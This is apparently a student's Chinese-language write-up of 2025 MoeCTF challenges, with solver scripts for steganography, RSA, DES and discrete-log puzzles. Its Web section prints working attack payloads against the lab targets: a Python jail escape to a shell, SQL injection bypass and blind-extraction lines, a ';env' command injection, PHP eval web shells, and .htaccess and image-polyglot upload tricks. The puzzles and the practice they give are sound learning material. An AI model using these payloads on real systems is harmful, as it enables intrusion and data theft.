2025MoeCTF题解

Misc

2048_master

(我太懒了,见官方题解

Misc入门指北

下载附件,发现最后一行有空行,选中将其颜色转换为黑色即可

Pyjail 0

(见官方题解

Rush

打开发现是gif,提交至iLoveIMG转换为JPEG,发现一张带有二维码的照片,扫码即得flag

ez_LSB

题目提示一个个像素看过去,打开stegsolve,用LSB看,在Red0中发现flag,bW9开头,猜测为Base64加密,解密后即可

ez_锟斤拷????

通过检索可知,“锟斤拷”的成因是Unicode的替换字符于UTF-8编码下的结果EF BF BD重复,在GBK编码中被解释为汉字“锟斤拷”(EF BF BD EF BF BD)。因此对题目字符串使用GBK编码,并以UTF-8解释即可,也就是逆着进行锟斤拷的操作
之后将结果中的全角字符转换为半角字符即可得到Flag

weird_photo

题目提示注意CRC,考虑长宽被修改,使用爆破脚本得到正确的宽高
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import zlib
import struct
import argparse
import itertools

parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="输入同级目录下图片的名称")
args = parser.parse_args()

bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 计算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc

if crc32key == original_crc32: # 计算crc对比原始crc
print('宽高没有问题!')
else:
input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
if input_ not in ["Y", "y", ""]:
exit()
else:
for i, j in itertools.product(range(4095), range(4095)): # 理论上0x FF FF FF FF,但考虑到屏幕实际/cpu,0x 0F FF就差不多了,也就是4095宽度和高度
data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]
crc32 = zlib.crc32(data)
if(crc32 == original_crc32): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(f"\nCRC32: {hex(original_crc32)}")
print(f"宽度: {i}, hex: {hex(i)}")
print(f"高度: {j}, hex: {hex(j)}")
exit(0)

爆破得到正确的宽高

1
2
3
CRC32: 0xb5a7bf8c
宽度: 900, hex: 0x384
高度: 600, hex: 0x258

再使用010Editor打开文件,将高度修改为0258,保存后再打开即可得到flag

Pyjail 1

根据scr.py可以知道过滤的原理
使用__builtins__.__dict__['__imp'+'ort__']('os').system('sh')沙箱逃逸,然后再根据提示cd /tmp,ls发现有一个flag.txt文件,使用cat flag.txt打开即可获得flag
Pyjail 1

Pyjail 3

(见官方题解
Pyjail 3

SSTV

SSTV即慢速扫描电视,使用Kali,安装并打开qSSTV后导入wav即可得到flag

encrypted_pdf

下载PDF后发现有密码保护,发送到iLovePDF解除密码,打开后发现提示类似入门指北,即寻找文本,在XDC娘后面发现白色文字,转为黑色即可

哈基米难没露躲

(见官方题解

捂住一只耳

音频播放后发现只有单声道有声音,打开频谱图后发现另一声道是点加横,推测为摩斯电码,记录后对照电码图再以moectf{}包裹提交即可

Enchantment

(见官方题解

ez_png

根据提示秘密在文件的骨骼里,猜测其中隐藏了其他文件
使用kali的binwalk打开,发现有两个zlib文件,使用foremost提取文件,在其中一个文件中获得flag

从此开始

签到

这就……略了吧

Pwn

0 二进制漏洞审计入门指北

Pwn还是太难了(哭
环境配置了整整一个礼拜 /(ㄒoㄒ)/~~
本人用VMWare的Ubuntu虚拟机,配置了pwn环境,但是不知道是不是我系统的问题,需要搞一个python虚拟环境,将代码问号处改为IP和端口,用python运行即可获得flag

Crypto

Crypto入门指北

提示Elgamal,并给出私钥,编写程序解密即可
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import long_to_bytes
p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863
g = 2
y = 8313424783366011287014623582773521595333285291380540689467073212212931648415580065207081449784135835711205324186662482526357834042013400765421925274271853
c1 =
6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863
c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983
x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214

# fDecryption
s = pow(c1, x, p)
s_inv = pow(s, -1, p)
m = (c2 * s_inv) % p
flag = long_to_bytes(m)
print(flag)

ez_DES

密钥的前五个字节已知,为“ezdes”,后三个字节随机,先考虑暴力破解(
并检查是否由moectf{开头
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Cipher import DES
import string
from itertools import product
from multiprocessing import Pool

c = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07'
characters = string.ascii_letters + string.digits
def decrypt(ciphertext, key):
cipher = DES.new(key, DES.MODE_ECB)
padded_text = cipher.decrypt(ciphertext)
try:
text = padded_text.decode('utf-8', errors='ignore')
if 'moectf{' in text:
return text
except:
pass
return None

def try_key(args):
c1, c2, c3 = args
key = ('ezdes' + c1 + c2 + c3).encode('latin-1')
result = decrypt(c, key)
if result:
return key, result
return None

if __name__ == '__main__':
with Pool() as p:
for res in p.imap_unordered(try_key, product(characters, repeat=3)):
if res:
print(f"Found key: {res[0].decode()}")
print(f"Flag: {res[1]}")
p.terminate()
break

等待《一会儿》就会出结果

baby_next

flag为38字节,p为一个512位的素数,q为p之后的第114514个素数
)出题人太喜欢114514了
因为p,q比较接近,可以先算n的平方根,再向前搜索p并验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
from gmpy2 import isqrt, next_prime

n = 96742777571959902478849172116992100058097986518388851527052638944778038830381328778848540098201307724752598903628039482354215330671373992156290837979842156381411957754907190292238010742130674404082688791216045656050228686469536688900043735264177699512562466087275808541376525564145453954694429605944189276397
c = 17445962474813629559693587749061112782648120738023354591681532173123918523200368390246892643206880043853188835375836941118739796280111891950421612990713883817902247767311707918305107969264361136058458670735307702064189010952773013588328843994478490621886896074511809007736368751211179727573924125553940385967
e = 65537

def find_p():
p_approx = isqrt(n)
# Since q is p + delta, and delta is positive, p is likely slightly less than p_approx
p = p_approx
while True:
if n % p == 0:
return p
p -= 1

p = find_p()
q = n // p

# Verify q is the 114514th next prime after p
current = p
for _ in range(114514):
current = next_prime(current)
assert current == q

# RSA decryption
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

)嗯。我电脑跑了半天才跑出来

ezBSGS

嗯。对
就是北上广深
上网查找是大步小步算法
借用了一点Deepsleep的神力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def bsgs(a, b, p):
"""
Baby-Step Giant-Step 算法求解离散对数问题 a^x ≡ b mod p
返回最小的正整数 x,若不存在则返回 -1
"""
a %= p
b %= p
# 处理特殊情况
if b == 1:
return 0
if a == 0:
return -1 if b != 0 else 1

m = int(p**0.5) + 1 # 计算步长

# Baby-Step: 存储 {a^j mod p: j}
table = {}
aj = 1
for j in range(m):
if aj not in table:
table[aj] = j
aj = (aj * a) % p

# 计算 a^{-m} mod p
inv_am = pow(a, m * (p - 2), p) # 费马小定理求逆元

# Giant-Step: 查找 b * a^{-mi} mod p 是否在表中
gamma = b
for i in range(m):
if gamma in table:
return i * m + table[gamma]
gamma = (gamma * inv_am) % p

return -1 # 无解

# 题目参数
p = 100000000000099
a = 13
b = 114514

# 求解 x
x = bsgs(a, b, p)
if x != -1:
print(f"最小的 x 满足 13^x ≡ 114514 mod {p} 是: {x}")
else:
print("无解")

ez_square

flag长度为35字节,p,q为512位素数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
import math
import sys

n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149
c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190
hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304
e = 65537

def solve():
max_k = 5
for k in range(1, max_k + 1):
p_plus_q_squared = hint + k * n
p_plus_q = math.isqrt(p_plus_q_squared)

if p_plus_q * p_plus_q == p_plus_q_squared:
discriminant = p_plus_q * p_plus_q - 4 * n
if discriminant < 0:
continue

p_minus_q = math.isqrt(discriminant)
if p_minus_q * p_minus_q != discriminant:
continue

p = (p_plus_q + p_minus_q) // 2
q = (p_plus_q - p_minus_q) // 2

if p * q == n and isPrime(p) and isPrime(q):
print("Factorization successful!")
print(f"p = {p}")
print(f"q = {q}")

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
if flag.startswith(b'moectf{') and flag.endswith(b'}'):
print("Flag found:", flag.decode())
return
else:
print("Got message but not in flag format:", flag)

print(f"Failed to factor n with k up to {max_k}")

solve()

ezlegendre

上网搜索有关内容,编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from gmpy2 import *
from Crypto.Util.number import *

p = 258669765135238783146000574794031096183
a = 144901483389896508632771215712413815934
ciphertxt = […实在太长省略了]
flag = ''

for n in ciphertxt:
if jacobi(n,p)==-1:
flag += '1'
else:
flag += '0'
flag = int(flag,2)
print(long_to_bytes(flag))

运行即可

Reverse

逆向工程入门指北

用010Editor打开attachment,用CTRL+F搜索FLAG即可

base

呃Vaidurya不确定这道题是不是又做到了非预期?
IDA打开以后一眼就瞄到了一个灰色的bW9lY3Rme1kwdV9DNG5fRzAwZF9BdF9CNDVlNjQhIX0=字符串
也许是Vaidurya对bW开头的字符串比较敏感了帕,Base64解码一下就出来了捏( ̄▽ ̄)*

ez3

由于Vaidurya太菜了,不知道什么是z3,所以就使用了一下AI的神力(当然直接扔给AI是出不来的哦
先分析一下程序,摁个F5:
用户输入一个字符串(std::cin >> v11),检查长度是否为 42 字节(if(std::string::length(v11) == 42)),否则输出 “Length error!”
检查前 7 字符是否是 “moectf{“(std::operator!=(v12, “moectf{“))
检查最后一个字符是否是 ‘}’(ASCII 125,*(_BYTE *)std::string::back(v11) == 125)
如果格式错误,输出 “FORMAT ERROR!”
去掉 “moectf{“ 和 ‘}’,提取中间的 34 字节(42 - 8)作为有效内容(v12)
调用 check(v12) 函数验证这部分内容是否正确
如果 check(v12) 返回 true,输出 “OK” 和提示信息
否则输出 “try again~”

于是去看一眼check()
然后Vaidurya又忘记怎么做了/(ㄒoㄒ)/~~
好久没看IDA看不懂了……想起来了一定会在GitHub补上的
sorry<( _ _ )>

ezpy

.pyc文件……确实是第一次见
上网搜索,了解.pyc 文件是由 Python 解释器在导入或执行 Python 脚本时生成的编译字节码文件。.pyc 文件包含编译后的字节码,可以直接由解释器执行,无需每次运行脚本时重新编译源代码。
找到了一个网站可以反编译.pyc pyc反编译工具
获得了《源码》:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def caesar_cipher_encrypt(text, shift):
result = []
for char in text:
if char.isalpha():
if char.islower():
new_char = chr(((ord(char) - ord("a")) + shift) % 26 + ord("a"))
elif char.isupper():
new_char = chr(((ord(char) - ord("A")) + shift) % 26 + ord("A"))
result.append(new_char)
continue
result.append(char)
return "".join(result)

user_input = input("please input your flag:")
a = 1
if a != 1:
plaintext = user_input
shift = 114514
encrypted_text = caesar_cipher_encrypt(plaintext, shift)
if encrypted_text == "wyomdp{I0e_Ux0G_zim}":
print("Correct!!!!")

分析一下,发现是凯撒加密,只对大写字母和小写字母加密,移位114514位(何意味?
因为26*4404=114504,所以相当于移10位,就可以《轻松》解出flag了(你怎么知道我懒得编程序……一个个字母数出来的

Web

0 Web入门指北

附件中提到控制台……?
我搜了好久才知道是抽象的JSFuck编码
(只能说发明这个编码的人是个甜菜
F12打开控制台,输入console.log(),将一大串符号粘贴进括号回车即可

01 第一章 神秘的手镯

我就只是看了一眼调试器……
没想到在shouzhuo.js里直接看到了flag?
不愧是《恭喜你已经会阅读前端代码了!这是解题的另一条道路!》

02 第二章 初识金曦玄轨

嗯。这道题Vaidurya也是想了半天才想出来呢
查看源码,看到“前往/golden_trail看看”,于是前往/golden_trail,发现路径不正,难窥天道?
难道Vaidurya就要在此跌倒了吗?看了看消息头,嗯~ o( ̄▽ ̄)o果然,flag在响应头里呢

04 第四章 金曦破禁与七绝傀儡阵

哇塞这个题目好长啊
第一关:在URL后面加?key=xdsec即可(记得要保存碎片bW9lY3Rme0Mw啊
第二关:使用工具发送POST请求,使用HackBar添加参数declaration=%E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80即可
记得保存碎片: bjZyNDd1MTQ3哦
第三关:提示要从本地访问,还是用HackBar,在头里面添加X-Forwarded-For为127.0.0.1即可(获得玉简碎片: MTBuNV95MHVy
第四关:提示使用moe browser访问哦,Vaidurya就把UA改成moe browser(获得玉简碎片: X2g3N1BfbDN2
第五关:确实是想了半天……才发现前面有提示……于是加一个cookie:user=xt就ok了(获得玉简碎片: M2xfMTVfcjM0
第六关:提示是从http://panshi/entry 来的吗?于是添加一个Referer,获得玉简碎片: bGx5X2gxOWgh
第七关:需要传递一个PUT请求,Vaidurya使用的是Postman,在body里面写“新生!”,Headers跟浏览器里的差不多,就获得了玉简碎片: fQ==
最后……发现在/final_success里面学长早已为我们写好wp
将前几个碎片拼接,bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==,看到前面bW,大致猜到是Base64加密,解密即可

05 第五章 打上门来!

提示有在文件目录穿梭的技法,输入../../,发现文件flag,打开即可

06 第六章 藏经禁制?玄机初探!

登陆页面?那不是直接SQL注入?
Vaidurya直接蒙一个用户名是admin
输入admin’ or 1=1 #……就……直接。嗯~ o( ̄▽ ̄)o

07 第七章 灵蛛探穴与阴阳双生符

根据提示

1
有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。

知道应该是robots.txt,访问后发现禁止flag.php的访问,
(于是我们就访问
发现代码,要我们输入两个数,他们不相等但是MD5值相等?
只能百度了
找到MD5值:
md5(“s1885207154a”) => 0e509367213418206700842008763514
md5(“s1836677006a”) => 0e481036490867661113260034900752
二者都是0e开头,在php中0e会被当做科学计数法,就算后面有字母,其结果也是0,所以上面的两个MD5值相等?(这么神奇
然后用GET方法传参即可得到flag

08 第八章 天衍真言,星图显圣

啊……怎么是你
这道题……我的方法可能出了点问题……极为麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
admin' and exists(select password from users)#
admin' and exists(select*from users)#
admin' and exists(select*from flag)#
admin' and exists(select value from flag)#
admin' and length((select value from flag limit 0,1))=38#
admin' and ascii(substr((select value from flag limit 0,1),1,1))=109#
admin' and ascii(substr((select value from flag limit 0,1),2,1))=111#
admin' and ascii(substr((select value from flag limit 0,1),3,1))=101#
admin' and ascii(substr((select value from flag limit 0,1),4,1))=99#
admin' and ascii(substr((select value from flag limit 0,1),5,1))=116#
admin' and ascii(substr((select value from flag limit 0,1),6,1))=102#
admin' and ascii(substr((select value from flag limit 0,1),7,1))=123#
admin' and ascii(substr((select value from flag limit 0,1),8,1))=117#
admin' and ascii(substr((select value from flag limit 0,1),9,1))=110#
admin' and ascii(substr((select value from flag limit 0,1),10,1))=73#
admin' and ascii(substr((select value from flag limit 0,1),11,1))=48#
admin' and ascii(substr((select value from flag limit 0,1),12,1))=78#
admin' and ascii(substr((select value from flag limit 0,1),13,1))=95#
admin' and ascii(substr((select value from flag limit 0,1),14,1))=98#
admin' and ascii(substr((select value from flag limit 0,1),15,1))=64#
admin' and ascii(substr((select value from flag limit 0,1),16,1))=115#
admin' and ascii(substr((select value from flag limit 0,1),17,1))=101#
admin' and ascii(substr((select value from flag limit 0,1),18,1))=100#
admin' and ascii(substr((select value from flag limit 0,1),19,1))=45#
admin' and ascii(substr((select value from flag limit 0,1),20,1))=53#
admin' and ascii(substr((select value from flag limit 0,1),21,1))=81#
admin' and ascii(substr((select value from flag limit 0,1),22,1))=73#
admin' and ascii(substr((select value from flag limit 0,1),23,1))=73#
admin' and ascii(substr((select value from flag limit 0,1),24,1))=45#
admin' and ascii(substr((select value from flag limit 0,1),25,1))=70#
admin' and ascii(substr((select value from flag limit 0,1),26,1))=84#
admin' and ascii(substr((select value from flag limit 0,1),27,1))=119#
admin' and ascii(substr((select value from flag limit 0,1),28,1))=33#
admin' and ascii(substr((select value from flag limit 0,1),29,1))=33#
admin' and ascii(substr((select value from flag limit 0,1),30,1))=99#
admin' and ascii(substr((select value from flag limit 0,1),31,1))=52#
admin' and ascii(substr((select value from flag limit 0,1),32,1))=50#
admin' and ascii(substr((select value from flag limit 0,1),33,1))=101#
admin' and ascii(substr((select value from flag limit 0,1),34,1))=54#
admin' and ascii(substr((select value from flag limit 0,1),35,1))=99#
admin' and ascii(substr((select value from flag limit 0,1),36,1))=99#
admin' and ascii(substr((select value from flag limit 0,1),37,1))=48#
admin' and ascii(substr((select value from flag limit 0,1),38,1))=125#

嗯……真的是一个一个英文的ASCAII码敲的啊啊啊啊
大家不要学我

09 第九章 星墟禁制·天机问路

要输入URL?这是要干嘛?
然后发现用分号可以再加东西(●’◡’●)
于是找了半天127.0.0.1;ls ../../../../
又没有!
不会又是环境变量吧?
127.0.0.1;env | grep -i flag
嗯。果然

10 第十章 天机符阵

嗯。没错。我的做法也许就是非预期吧
直接在URL后面加/flag.txt
嗯。好像不太讲武德~ o( ̄▽ ̄)o

12 第十二章 玉魄玄关·破妄

打开看到代码

1
2
3
<?php
highlight_file(__FILE__);
@eval($_POST['cmd']);

再加上提示用蚁剑连接,直接连,密码cmd
然后我找了半天也找不到flag的文件啊啊啊啊啊
嗯。在环境变量里~ o( ̄▽ ̄)o
在虚拟终端里面敲env,嗯。看到flag了

Moe笑传之猜猜爆

嗯。我感觉我这道题的方法又是很奇怪
开F12看调试器,发现猜对了会以POST方式请求/flag
于是直接URL后面加/flag,然后用HackBar以POST形式请求,即可得到flag

13 第十三章 通幽关·灵纹诡影

先编写一句话木马<?php @eval($_POST['shell']);?>
尝试将后缀名改为.jpg上传失败,再想到图片马
找一张小的图片,在cmd中输入命令copy/b xxx.jpg + hack.php合为一个(注意两个文件及cmd要在同一个文件夹下)
将xxx.jpg上传,用Burp抓包,把后缀名改为.php,再用蚁剑连接http://127.0.0.1:xxxxx/uploads/xxx.php,密码shell

14 第十四章 御神关·补天玉碑

题目提示Apache的特殊文件,想到配置文件.htaccess,先把
AddType application/x-httpd-php .jpg
写入文件.htaccess,再上传一句话木马
<?php @eval($_POST['shell']);?>
并将后缀名改为.jpg
用蚁剑连接,密码为shell即可在根目录里发现flag.txt
蚁剑

18 第十八章 万卷诡阁·功法连环

题目看着有点像PHP反序列化?
编写脚本反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class PersonA {
private $name;
}

class PersonB {
public $name;
}

$personB = new PersonB();
$personB->name = "phpinfo();";

$personA = new PersonA();

$reflection = new ReflectionClass($personA);
$property = $reflection->getProperty('name');
$property->setAccessible(true);
$property->setValue($personA, $personB);

$payload = serialize($personA);
echo "Payload: " . $payload . "\n";
echo "URL编码: " . urlencode($payload) . "\n";

运行后得到payloadURL编码后为O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A13%3A%22%00PersonA%00name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
在URL后面加?person=
即可得到phpinfo的页面
鄙人不才……找了半天在环境变量(怎么又是你??!!)的地方找到了flag